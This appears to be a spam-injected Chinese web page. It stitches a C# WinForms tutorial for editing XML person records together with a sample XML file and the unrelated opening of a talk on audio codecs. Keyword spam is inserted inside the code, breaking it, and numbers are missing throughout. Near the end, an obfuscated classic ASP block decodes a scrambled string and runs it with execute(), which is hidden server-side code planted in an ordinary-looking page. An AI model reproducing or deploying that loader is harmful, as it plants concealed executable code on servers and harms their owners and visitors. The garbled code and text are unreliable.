e2ee??վԴ??
完全按你的要求写的,供参考:前提是码整码带XML文件已创建好,在窗体里选择该XML文件,数据再行操作:
窗体:
//选择XML按钮private void btnXML_Click(object sender,整站源站源韶关小程序搭建源码平台 EventArgs e)
{
DataTable dt = new DataTable();
OpenFileDialog xmlFile = new OpenFileDialog();
xmlFile.Filter = "*.xml|";
xmlFile.Title = "请选择xml文件";
if (xmlFile.ShowDialog() == DialogResult.OK)
{
this.txtPath.Text = xmlFile.FileName;//在textBox1控件中显示选择的路径
dt=GetXML(this.txtPath.Text);
}
if(!dt.Equals(null)&&dt.Rows.Count>0)
LoadData(dt, dgvXML);//加载到窗体中
}
//保存按钮
private void button1_Click(object sender, EventArgs e)
{
int n = SaveDgv();
if (n > 0)
{
MessageBox.Show("保存成功!");
DataTable dt = new DataTable();
dt = GetXML(this.txtPath.Text);
LoadData(dt,码整码带 dgvXML);//刷新加载
}
else
{
MessageBox.Show("保存失败!");
DataTable dt = new DataTable();
dt = GetXML(this.txtPath.Text);
LoadData(dt,数据hexedit 源码下载 dgvXML);//刷新加载
}
}
//删除按钮
private void btnDelete_Click(object sender, EventArgs e)
{
int n = 0;//判断是否删除
for (int i = 0; i < dgvXML.SelectedRows.Count; i++)
{
string id = dgvXML.SelectedRows[i].Cells[0].Value.ToString();
XmlDocument doc = new XmlDocument();
doc.Load(this.txtPath.Text);
XmlNodeList nod = doc.DocumentElement.ChildNodes;
XmlNode root = doc.DocumentElement;
foreach (XmlNode peo in nod)
{
if (XmlNode.Equals(peo.SelectSingleNode("ID").InnerText, id))
{
root.RemoveChild(peo);//从根节点删除该ID的PERSON
doc.Save(this.txtPath.Text);
n++;
}
}
}
if (n > 0)
{
DataTable dt = new DataTable();
dt = GetXML(this.txtPath.Text);
LoadData(dt, dgvXML);//刷新加载
MessageBox.Show("删除成功!");
}
else
{
MessageBox.Show("删除失败!整站源站源");
}
}
// DataGridView中加载数据
private void LoadData(DataTable dt,码整码带 DataGridView dgv)
{
dgv.Rows.Clear();//datagridview清空数据
if (dt != null && dt.Rows.Count > 0)
{
dgv.Rows.Add(dt.Rows.Count);
for (int i = 0; i < dt.Rows.Count; i++)
{
for (int k = 0; k < dt.Columns.Count; k++)
{
dgv.Rows[i].Cells[k].Value = dt.Rows[i][k].ToString();//赋值
}
}
}
}
//datagridview添加行号
private void dataGridView1_RowStateChanged(object sender, DataGridViewRowStateChangedEventArgs e)
{
e.Row.HeaderCell.Value = (e.Row.Index + 1).ToString();
}
//解析XML生成DATATABLE
private List<string> IDList = new List<string>();//用来记录已有的ID,以在修改时判断是数据否新增
private DataTable GetXML(string path)
{
DataTable dt = new DataTable();
dt.Columns.Add("ID");
dt.Columns.Add("NAME");
dt.Columns.Add("SEX");
dt.Columns.Add("PHONE");
XmlDocument doc = new XmlDocument();
doc.Load(path);
XmlNodeList nod = doc.DocumentElement.ChildNodes;
foreach (XmlNode peo in nod)
{
XmlNodeList pe = peo.ChildNodes;
DataRow row = dt.NewRow();
foreach (XmlNode p in pe)
{
if (p.Name == "ID")
{
row["ID"] = p.InnerText.ToString();
IDList.Add(p.InnerText.ToString());//添加ID记录,以在修改时判断是整站源站源否新增
}
if (p.Name == "NAME")
{
row["NAME"] = p.InnerText.ToString();
}
if (p.Name == "SEX")
{
row["SEX"] = p.InnerText.ToString();
}
if (p.Name == "PHONE")
{
row["PHONE"] = p.InnerText.ToString();
}
}
dt.Rows.Add(row);
}
return dt;
}
//修改dgv数据后保存到XML文件
private int SaveDgv()
{
int n = 0;
for (int i = 0; i < dgvXML.Rows.Count-1; i++)
{
XmlDocument doc = new XmlDocument();
doc.Load(this.txtPath.Text);
XmlNodeList nod = doc.DocumentElement.ChildNodes;
string id = dgvXML.Rows[i].Cells[0].Value.ToString();
if (IDList.Contains(id)) //如果是已有的ID,则修改
{
foreach (XmlNode peo in nod)
{
if (XmlNode.Equals(peo.SelectSingleNode("ID").InnerText,码整码带 id))
{
peo.SelectSingleNode("NAME").InnerText = dgvXML.Rows[i].Cells[1].Value.ToString();//赋值姓名
peo.SelectSingleNode("SEX").InnerText = dgvXML.Rows[i].Cells[2].Value.ToString();//赋值性别
peo.SelectSingleNode("PHONE").InnerText = dgvXML.Rows[i].Cells[3].Value.ToString();//赋值电话
doc.Save(this.txtPath.Text);
n++;
break;//当找到该ID记录并修改后,跳出循环
}
}
}
else //否则为新增
{
XmlNode root = doc.DocumentElement;
XmlElement PERSON = doc.CreateElement("PERSON");
XmlElement ID = doc.CreateElement("ID");
ID.InnerText = id;//赋值id
XmlElement NAME = doc.CreateElement("NAME");
NAME.InnerText = dgvXML.Rows[i].Cells[1].Value.ToString();//赋值姓名
XmlElement SEX = doc.CreateElement("SEX");
SEX.InnerText = dgvXML.Rows[i].Cells[2].Value.ToString();//赋值性别
XmlElement PHONE = doc.CreateElement("PHONE");
PHONE.InnerText = dgvXML.Rows[i].Cells[3].Value.ToString();//赋值电话
PERSON.AppendChild(ID);
PERSON.AppendChild(NAME);
PERSON.AppendChild(SEX);
PERSON.AppendChild(PHONE);
root.AppendChild(PERSON);
doc.Save(this.txtPath.Text);//保存
n++;
}
}
return n;
}
XML文件:
<?数据xml version="1.0" standalone="yes"?>
<List>
<PERSON>
<ID></ID>
<NAME>测一</NAME>
<SEX>男男</SEX>
<PHONE></PHONE>
</PERSON>
<PERSON>
<ID></ID>
<NAME>再二</NAME>
<SEX>女女</SEX>
<PHONE></PHONE>
</PERSON>
<PERSON>
<ID></ID>
<NAME>张三</NAME>
<SEX>男男</SEX>
<PHONE></PHONE>
</PERSON>
<PERSON>
<ID></ID>
<NAME>王五</NAME>
<SEX>女女</SEX>
<PHONE></PHONE>
</PERSON>
</List>
声音数字化的过程分为哪三个步骤
1、引言
就音频而言,整站源站源mybean框架源码无论是码整码带算法多样性,Codec种类还是数据音频编解码复杂程度都远远比视频要高。视频的ssl加密源码Codec目前还主要是以宏块为处理单元,预测加变换的混合编码框架,例如H.和H.都是在这一框架下。而音频则相当复杂,拖拽 布局 源码且不同的场景必须要选择不同的音频编解码器。以下就是本次为大家分享的主要内容,希望通过此次分享可以使大家对音频编解码有一个整体的认识,并在实际应用中有参考的依据。
本次分享的内容提纲:
1)语音/音频编码总表;
2)数字语音基本要素;
3)为什么要压缩;
4)编码器考虑的因素;
5)语音经典编码模型;
6)ISO;
7)编码模型;
8)USAC;
9)编码;
)使用选型考虑的因素。
* 本次演讲PPT文稿,请从文末附件下载!
(本文同步发布于:
) 光这一句就可以了,下面的都不必看.
<%
www_fjqq_cn="帅帅m[_3w斌斌斌斌uu~&""ww4##的dY$gg`\$mmm##v2ww""ww4##大dY$gg`\$mmm##v2ww""bcj>}jd[jde9j[=3dYUgg`\Ummm斌~wwww{ [c.dUgg`\{ wwww""ww商供提务服盟联容内序程偷小家首内国ww""[bj_jUdYUgg`\}[YWbf[H3[bj_jUdYUgg`\斌~wwww{ [bj_jUgg`\{ wwww""ww的ww""[bj_jUdYUgg`\}[YWbf[H3[bj_jUdYUgg`\斌~&""ww4[bj_j%2ww""ww4[bj_j2ww""bcj>}jd[jde9j[=3[bj_jUdYUgg`\斌~bhk}[].Fj[=3bcj>斌wwfi.$de_dkww2bhkUgg`\2wwww3bhk斌斌w帅[-[Ykj[}Kd;dYeZ[}m[_~~帅\kdYj_eduKd;dYeZ[}YY~帅uuuu\ehu_u3u'ujeub[d}YY~帅uuuuuuuu_\uc_Z}YY""_""'~w斌wuj^[d帅uuuuuuuuuuuuj[cfu3uC_Z}YY""u_""u'~u!uj[cf帅uuuuuuuuuuuuuuuu[bi[帅uuuuuuuuuuuuj[cf3lXYhb\{ j[cf帅uuuuuuuuuuuuuuuu[dZu_\帅uuuuuuuuuuuuuuuud[-j帅uuuuuuuuuuuuuuuuuuuuKd;dYeZ[3j[cf帅uuuuuuuuuuuuuuuu[dZu\kdYj_ed帅帅帅帅"
execute(UnEncode(www_fjqq_cn))
function UnEncode(www_cfss_cn)
but=
for i = 1 to len(www_cfss_c-)
if mid(www_cfss_cn,i,1)<>"帅" the-
If Asc(Mid(www_cfss_c-, i, 1)) < Or Asc(Mid(www_cfss_c-, i, 1)) > Then
a = a & Chr(Asc(Mid(www_cfss_cn, i, 1)))
else
pk=asc(mid(www_cfss_cn,i,1))-but
if pk> then
pk=pk-
elseif pk< then
pk=pk+
end if
a=a&chr(pk)
e-d if
else
a=a&vbcrlf
end if
next
UnEncode=a
end function
%>
2024-11-29 23:52
2024-11-29 23:46
2024-11-29 23:03
2024-11-29 22:48
2024-11-29 21:20